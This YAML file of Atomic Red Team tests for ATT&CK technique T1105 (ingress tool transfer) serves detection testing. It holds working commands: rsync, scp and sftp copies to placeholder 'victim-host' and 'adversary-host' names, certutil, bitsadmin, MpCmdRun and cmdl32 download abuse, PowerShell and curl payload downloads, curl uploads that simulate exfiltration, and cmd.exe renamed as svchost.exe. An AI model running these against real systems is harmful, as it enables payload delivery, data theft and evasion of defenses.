attack_technique: T1105
display_name: Ingress Tool Transfer
atomic_tests:
- name: rsync remote file copy (push)
  auto_generated_guid: 0fc6e977-cb12-44f6-b263-2824ba917409
  description: |
    Utilize rsync to perform a remote file copy (push)
  supported_platforms:
  - linux
  - macos
  input_arguments:
    remote_path:
      description: Remote path to receive rsync
      type: Path
      default: /tmp/victim-files
    remote_host:
      description: Remote host to copy toward
      type: String
      default: victim-host
    local_path:
      description: Path of folder to copy
      type: Path
      default: /tmp/adversary-rsync/
    username:
      description: User account to authenticate on remote host
      type: String
      default: victim
  executor:
    command: |
      rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path}
    name: bash
- name: rsync remote file copy (pull)
  auto_generated_guid: 3180f7d5-52c0-4493-9ea0-e3431a84773f
  description: |
    Utilize rsync to perform a remote file copy (pull)
  supported_platforms:
  - linux
  - macos
  input_arguments:
    remote_path:
      description: Path of folder to copy
      type: Path
      default: /tmp/adversary-rsync/
    remote_host:
      description: Remote host to copy from
      type: String
      default: adversary-host
    local_path:
      description: Local path to receive rsync
      type: Path
      default: /tmp/victim-files
    username:
      description: User account to authenticate on remote host
      type: String
      default: adversary
  executor:
    command: |
      rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path}
    name: bash
- name: scp remote file copy (push)
  auto_generated_guid: 83a49600-222b-4866-80a0-37736ad29344
  description: |
    Utilize scp to perform a remote file copy (push)
  supported_platforms:
  - linux
  - macos
  input_arguments:
    remote_path:
      description: Remote path to receive scp
      type: Path
      default: /tmp/victim-files/
    local_file:
      description: Path of file to copy
      type: Path
      default: /tmp/adversary-scp
    remote_host:
      description: Remote host to copy toward
      type: String
      default: victim-host
    username:
      description: User account to authenticate on remote host
      type: String
      default: victim
  executor:
    command: |
      scp #{local_file} #{username}@#{remote_host}:#{remote_path}
    name: bash
- name: scp remote file copy (pull)
  auto_generated_guid: b9d22b9a-9778-4426-abf0-568ea64e9c33
  description: |
    Utilize scp to perform a remote file copy (pull)
  supported_platforms:
  - linux
  - macos
  input_arguments:
    remote_host:
      description: Remote host to copy from
      type: String
      default: adversary-host
    local_path:
      description: Local path to receive scp
      type: Path
      default: /tmp/victim-files/
    remote_file:
      description: Path of file to copy
      type: Path
      default: /tmp/adversary-scp
    username:
      description: User account to authenticate on remote host
      type: String
      default: adversary
  executor:
    command: |
      scp #{username}@#{remote_host}:#{remote_file} #{local_path}
    name: bash
- name: sftp remote file copy (push)
  auto_generated_guid: f564c297-7978-4aa9-b37a-d90477feea4e
  description: |
    Utilize sftp to perform a remote file copy (push)
  supported_platforms:
  - linux
  - macos
  input_arguments:
    remote_path:
      description: Remote path to receive sftp
      type: Path
      default: /tmp/victim-files/
    local_file:
      description: Path of file to copy
      type: Path
      default: /tmp/adversary-sftp
    remote_host:
      description: Remote host to copy toward
      type: String
      default: victim-host
    username:
      description: User account to authenticate on remote host
      type: String
      default: victim
  executor:
    command: |
      sftp #{username}@#{remote_host}:#{remote_path} <<< $'put #{local_file}'
    name: bash
- name: sftp remote file copy (pull)
  auto_generated_guid: 0139dba1-f391-405e-a4f5-f3989f2c88ef
  description: |
    Utilize sftp to perform a remote file copy (pull)
  supported_platforms:
  - linux
  - macos
  input_arguments:
    remote_host:
      description: Remote host to copy from
      type: String
      default: adversary-host
    local_path:
      description: Local path to receive sftp
      type: Path
      default: /tmp/victim-files/
    remote_file:
      description: Path of file to copy
      type: Path
      default: /tmp/adversary-sftp
    username:
      description: User account to authenticate on remote host
      type: String
      default: adversary
  executor:
    command: |
      sftp #{username}@#{remote_host}:#{remote_file} #{local_path}
    name: bash
- name: certutil download (urlcache)
  auto_generated_guid: dd3b61dd-7bbc-48cd-ab51-49ad1a776df0
  description: |
    Use certutil -urlcache argument to download a file from the web. Note - /urlcache also works!
  supported_platforms:
  - windows
  input_arguments:
    remote_file:
      description: URL of file to copy
      type: Url
      default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
    local_path:
      description: Local path to place file
      type: Path
      default: Atomic-license.txt
  executor:
    command: |
      cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}
    cleanup_command: |
      del #{local_path} >nul 2>&1
    name: command_prompt
- name: certutil download (verifyctl)
  auto_generated_guid: ffd492e3-0455-4518-9fb1-46527c9f241b
  description: |
    Use certutil -verifyctl argument to download a file from the web. Note - /verifyctl also works!
  supported_platforms:
  - windows
  input_arguments:
    remote_file:
      description: URL of file to copy
      type: Url
      default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
    local_path:
      description: Local path to place file
      type: Path
      default: Atomic-license.txt
  executor:
    command: |
      $datePath = "certutil-$(Get-Date -format yyyy_MM_dd)"
      New-Item -Path $datePath -ItemType Directory
      Set-Location $datePath
      certutil -verifyctl -split -f #{remote_file}
      Get-ChildItem | Where-Object {$_.Name -notlike "*.txt"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }
    cleanup_command: |
      Remove-Item "certutil-$(Get-Date -format yyyy_MM_dd)" -Force -Recurse -ErrorAction Ignore
    name: powershell
- name: Windows - BITSAdmin BITS Download
  auto_generated_guid: a1921cd3-9a2d-47d5-a891-f1d0f2a7a31b
  description: |
    This test uses BITSAdmin.exe to schedule a BITS job for the download of a file.
    This technique is used by Qbot malware to download payloads.
  supported_platforms:
  - windows
  input_arguments:
    bits_job_name:
      description: Name of the created BITS job
      type: String
      default: qcxjb7
    local_path:
      description: Local path to place file
      type: Path
      default: '%temp%\Atomic-license.txt'
    remote_file:
      description: URL of file to copy
      type: Url
      default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
  executor:
    command: |
      C:\Windows\System32\bitsadmin.exe /transfer #{bits_job_name} /Priority HIGH #{remote_file} #{local_path}
    name: command_prompt
- name: Windows - PowerShell Download
  auto_generated_guid: 42dc4460-9aa6-45d3-b1a6-3955d34e1fe8
  description: |
    This test uses PowerShell to download a payload.
    This technique is used by multiple adversaries and malware families.
  supported_platforms:
  - windows
  input_arguments:
    remote_file:
      description: URL of file to copy
      type: Url
      default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
    destination_path:
      description: Destination path to file
      type: Path
      default: $env:TEMP\Atomic-license.txt
  executor:
    command: |
      (New-Object System.Net.WebClient).DownloadFile("#{remote_file}", "#{destination_path}")
    cleanup_command: |
      Remove-Item #{destination_path} -Force -ErrorAction Ignore
    name: powershell
- name: OSTAP Worming Activity
  auto_generated_guid: 2ca61766-b456-4fcf-a35a-1233685e1cad
  description: |
    OSTap copies itself in a specfic way to shares and secondary drives. This emulates the activity.
  supported_platforms:
  - windows
  input_arguments:
    destination_path:
      description: Path to create remote file at. Default is local admin share.
      type: String
      default: '\\localhost\C$'
  executor:
    command: |
      pushd #{destination_path}
      echo var fileObject = WScript.createobject("Scripting.FileSystemObject");var newfile = fileObject.CreateTextFile("AtomicTestFileT1105.js", true);newfile.WriteLine("This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.");newfile.Close(); > AtomicTestT1105.js
      CScript.exe AtomicTestT1105.js //E:JScript
      del AtomicTestT1105.js /Q >nul 2>&1
      del AtomicTestFileT1105.js /Q >nul 2>&1
      popd
    name: command_prompt
    elevation_required: true
- name: svchost writing a file to a UNC path
  auto_generated_guid: fa5a2759-41d7-4e13-a19c-e8f28a53566f
  description: |
    svchost.exe writing a non-Microsoft Office file to a file with a UNC path.
    Upon successful execution, this will rename cmd.exe as svchost.exe and move it to `c:\`, then execute svchost.exe with output to a txt file.
  supported_platforms:
  - windows
  executor:
    command: |
      copy C:\Windows\System32\cmd.exe C:\svchost.exe
      C:\svchost.exe /c echo T1105 > \\localhost\c$\T1105.txt
    cleanup_command: |
      del C:\T1105.txt >nul 2>&1
      del C:\\svchost.exe >nul 2>&1
    name: command_prompt
    elevation_required: true
- name: Download a File with Windows Defender MpCmdRun.exe
  auto_generated_guid: 815bef8b-bf91-4b67-be4c-abe4c2a94ccc
  description: |
    Uses the Windows Defender to download a file from the internet (must have version 4.18.2007.8-0, 4.18.2007.9, or 4.18.2009.9 installed).
    The input arguments "remote_file" and "local_path" can be used to specify the download URL and the name of the output file.
    By default, the test downloads the Atomic Red Team license file to the temp directory.

    More info and how to find your version can be found here https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/
  supported_platforms:
  - windows
  input_arguments:
    remote_file:
      description: URL of file to download
      type: Url
      default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
    local_path:
      description: Location to save downloaded file
      type: Path
      default: '%temp%\Atomic-license.txt'
  dependency_executor_name: powershell
  dependencies:
  - description: 'Must have one of these Windows Defender versions installed: 4.18.2007.8-0, 4.18.2007.9, or 4.18.2009.9'
    prereq_command: |
      $retVal = 1
      foreach ($version in @("4.18.2007.8-0","4.18.2007.9","4.18.2009.9")){
        if (Test-Path "$env:ProgramData\Microsoft\Windows Defender\Platform\$version") { $retVal =  0}
      }
      exit $retVal
    get_prereq_command: Write-Host "Windows Defender verion 4.18.2007.8-0, 4.18.2007.9, or 4.18.2009.9 must be installed manually"
  executor:
    command: |
      cd "%ProgramData%\Microsoft\Windows Defender\platform\4.18*"
      MpCmdRun.exe -DownloadFile -url #{remote_file} -path #{local_path}
    cleanup_command: |-
      del #{local_path} >nul 2>&1
      del %temp%\MpCmdRun.log >nul 2>&1
    name: command_prompt
- name: whois file download
  auto_generated_guid: c99a829f-0bb8-4187-b2c6-d47d1df74cab
  description: |
    Download a remote file using the whois utility
  supported_platforms:
  - linux
  - macos
  input_arguments:
    remote_host:
      description: Remote hostname or IP address
      type: String
      default: localhost
    remote_port:
      description: Remote port to connect to
      type: Integer
      default: 8443
    output_file:
      description: Path of file to save output to
      type: Path
      default: /tmp/T1105.whois.out
    query:
      description: Query to send to remote server
      type: String
      default: "Hello from Atomic Red Team test T1105"
    timeout:
      description: Timeout period before ending process (seconds)
      type: Integer
      default: 1
  dependencies:
    - description: |
        The whois and timeout commands must be present
      prereq_command: |
        which whois && which timeout
      get_prereq_command: |
        echo "Please install timeout and the whois package"
  executor:
    name: sh
    elevation_required: false
    command: |
      timeout --preserve-status #{timeout} whois -h #{remote_host} -p #{remote_port} "#{query}" > #{output_file}
    cleanup_command: |
      rm -f #{output_file}
- name: File Download via PowerShell
  auto_generated_guid: 54a4daf1-71df-4383-9ba7-f1a295d8b6d2
  description: |
    Use PowerShell to download and write an arbitrary file from the internet. Example is from the 2021 Threat Detection Report by Red Canary.
  supported_platforms:
  - windows
  input_arguments:
    target_remote_file:
      description: File to download
      type: Url
      default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/4042cb3433bce024e304500dcfe3c5590571573a/LICENSE.txt
    output_file:
      description: File to write to
      type: String
      default: LICENSE.txt
  executor:
    command: |
      (New-Object Net.WebClient).DownloadString('#{target_remote_file}') | Out-File #{output_file}; Invoke-Item #{output_file}
    name: powershell
- name: File download with finger.exe on Windows
  auto_generated_guid: 5f507e45-8411-4f99-84e7-e38530c45d01
  description: |
    Simulate a file download using finger.exe. Connect to localhost by default, use custom input argument to test finger connecting to an external server.
    Because this is being tested on the localhost, you should not be expecting a successful connection
    https://www.exploit-db.com/exploits/48815
    https://www.bleepingcomputer.com/news/security/windows-10-finger-command-can-be-abused-to-download-or-steal-files/
  supported_platforms:
  - windows
  input_arguments:
    remote_host:
      description: Remote hostname or IP address
      type: String
      default: localhost
  executor:
    name: command_prompt
    command: |
      finger base64_filedata@#{remote_host}
- name: Download a file with IMEWDBLD.exe
  auto_generated_guid: 1a02df58-09af-4064-a765-0babe1a0d1e2
  description: |
    Use IMEWDBLD.exe (built-in to windows) to download a file. This will throw an error for an invalid dictionary file.
    Downloaded files can be found in "%LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>" or `%LocalAppData%\Microsoft\Windows\INetCache\IE\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>.
    Run "Get-ChildItem -Path C:\Users\<USERNAME>\AppData\Local\Microsoft\Windows\INetCache\ -Include <FILENAME>* -Recurse -Force -File -ErrorAction SilentlyContinue" without quotes and adding the correct username and file name to locate the file.
  supported_platforms:
  - windows
  input_arguments:
    remote_url:
      description: Location of file to be downloaded.
      type: url
      default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1105/T1105.yaml
    file_name:
      description: Name of the file to be downloaded without extension.
      type: string
      default: T1105
  executor:
    command: |
      $imewdbled = $env:SystemRoot + "\System32\IME\SHARED\IMEWDBLD.exe"
      & $imewdbled #{remote_url}
    cleanup_command: |
      $inetcache = $env:LOCALAPPDATA + "\Microsoft\Windows\INetCache\" 
      $file_to_be_removed = [string[]] (Get-ChildItem -Path $inetcache -Include #{file_name}* -Recurse -Force -File -ErrorAction SilentlyContinue)
      if("" -ne "$file_to_be_removed") { Remove-Item "$file_to_be_removed" -ErrorAction Ignore }
    name: powershell

- name: Curl Download File
  auto_generated_guid: 2b080b99-0deb-4d51-af0f-833d37c4ca6a
  description: |
    The following Atomic utilizes native curl.exe, or downloads it if not installed, to download a remote DLL and output to a number of directories to simulate malicious behavior.
    Expected output will include whether the file downloaded successfully or not.
  supported_platforms:
  - windows
  input_arguments:
    file_download:
      description: File to download
      type: String
      default: https://github.com/redcanaryco/atomic-red-team/raw/058b5c2423c4a6e9e226f4e5ffa1a6fd9bb1a90e/atomics/T1218.010/bin/AllTheThingsx64.dll
    curl_path:
      description: path to curl.exe
      type: Path
      default: C:\Windows\System32\Curl.exe
  dependency_executor_name: powershell 
  dependencies: 
    - description: |
        Curl must be installed on system.
      prereq_command: |
        if (Test-Path #{curl_path}) {exit 0} else {exit 1}
      get_prereq_command: |
        Invoke-WebRequest "https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip" -Outfile $env:temp\curl.zip
        Expand-Archive -Path $env:temp\curl.zip -DestinationPath $env:temp\curl
        Copy-Item $env:temp\curl\curl-7.79.1-win64-mingw\bin\curl.exe C:\Windows\System32\Curl.exe
        Remove-Item $env:temp\curl
        Remove-Item $env:temp\curl.zip
  executor:
    command: |
      #{curl_path} -k #{file_download} -o c:\users\public\music\allthethingsx64.dll
      #{curl_path} -k #{file_download} --output c:\users\public\music\allthethingsx64.dll
      #{curl_path} -k #{file_download} -o c:\programdata\allthethingsx64.dll
      #{curl_path} -k #{file_download} -o %Temp%\allthethingsx64.dll
    cleanup_command: |
      del c:\users\public\music\allthethingsx64.dll >nul 2>&1
      del c:\users\public\music\allthethingsx64.dll >nul 2>&1
      del c:\programdata\allthethingsx64.dll >nul 2>&1
      del %Temp%\allthethingsx64.dll >nul 2>&1
    name: command_prompt

- name: Curl Upload File
  auto_generated_guid: 635c9a38-6cbf-47dc-8615-3810bc1167cf
  description: |
    The following Atomic utilizes native curl.exe, or downloads it if not installed, to upload a txt file to simulate data exfiltration
    Expected output will include whether the file uploaded successfully or not.
  supported_platforms:
  - windows
  input_arguments:
    curl_path:
      description: path to curl.exe
      type: Path
      default: C:\Windows\System32\Curl.exe
    remote_destination:
      description: Remote destination
      type: String
      default: www.example.com
    file_path:
      description: File to upload
      type: String
      default: c:\temp\atomictestfile.txt
  dependency_executor_name: powershell 
  dependencies: 
    - description: |
        Curl must be installed on system.
      prereq_command: |
        if (Test-Path #{curl_path}) {exit 0} else {exit 1}
      get_prereq_command: |
        Invoke-WebRequest “https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip” -Outfile $env:temp\curl.zip
        Expand-Archive -Path $env:temp\curl.zip -DestinationPath $env:temp\curl
        Copy-Item $env:temp\curl\curl-7.79.1-win64-mingw\bin\curl.exe C:\Windows\System32\Curl.exe
        Remove-Item $env:temp\curl
        Remove-Item $env:temp\curl.zip
    - description: |
        A file must be created to upload
      prereq_command: |
        if (Test-Path #{file_path}) {exit 0} else {exit 1}
      get_prereq_command: |
        echo "This is an Atomic Test File" > #{file_path}
  executor:
    command: |
      #{curl_path} -T #{file_path} #{remote_destination}
      #{curl_path} --upload-file #{file_path} #{remote_destination}
      #{curl_path} -d #{file_path} #{remote_destination}
      #{curl_path} --data #{file_path} #{remote_destination}
    name: command_prompt

- name: Download a file with Microsoft Connection Manager Auto-Download 
  auto_generated_guid: d239772b-88e2-4a2e-8473-897503401bcc
  description: |
    Uses the cmdl32 to download arbitrary file from the internet. The cmdl32 package is allowed to install the profile used to launch the VPN connection. However, the config is modified to download the arbitary file. 
    The issue of cmdl32.exe detecting and deleting the payload by identifying it as not a VPN Servers profile is avoided by setting a temporary TMP folder and denying the delete permission to all files for the user.
    Upon successful execution the test will open calculator and Notepad executable for 10 seconds.
    reference:
    https://twitter.com/ElliotKillick/status/1455897435063074824
    https://github.com/LOLBAS-Project/LOLBAS/pull/151
    https://lolbas-project.github.io/lolbas/Binaries/Cmdl32/
    https://strontic.github.io/xcyclopedia/library/cmdl32.exe-FA1D5B8802FFF4A85B6F52A52C871BBB.html
  supported_platforms:
    - windows
  input_arguments:
    Path_to_file:
      description: Path to the Batch script
      type: Path
      default: PathToAtomicsFolder\T1105\src\T1105.bat
  executor:
    command: |
      #{Path_to_file} 1>NUL 
    cleanup_command: |
      del /f/s/q %temp%\T1105 >nul 2>&1
      rmdir /s/q %temp%\T1105 >nul 2>&1
    name: command_prompt
